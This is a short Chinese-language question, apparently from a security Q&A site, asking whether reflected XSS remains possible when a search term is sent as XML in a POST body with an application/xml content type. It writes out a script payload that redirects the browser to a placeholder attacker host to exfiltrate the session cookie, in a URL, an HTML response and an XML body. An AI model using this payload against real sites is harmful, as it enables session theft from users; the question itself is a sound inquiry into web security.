我知道反射型 XSS 可以通过 GET 请求来完成,例如:
http://site.com?search=<script>location.href='http://hackers.com?sessionToken='+document.cookie;</script>
只要响应看起来与此类似:
<html>
<head>
<title>Your Serach Results</title>
</head>
<body>
<h2>No results for: </h2>
<script>location.href='http://hackers.com?sessionToken='+document.cookie;</script>
</body>
</html>
但是,如果搜索词作为 XML 内容的一部分在 http 正文中随 POST 请求一起发送,这种攻击是否仍然可能。RESTful 服务经常使用这种方法。
<Query>
<SearchTerm>
script>location.href='http://hackers.com?sessionToken='+document.cookie;</script>
</SearchTerm>
</Query>
如果这是可能的,攻击者如何做到这一点?
[编辑]
还需要将Content-Type标头设置为application/xml
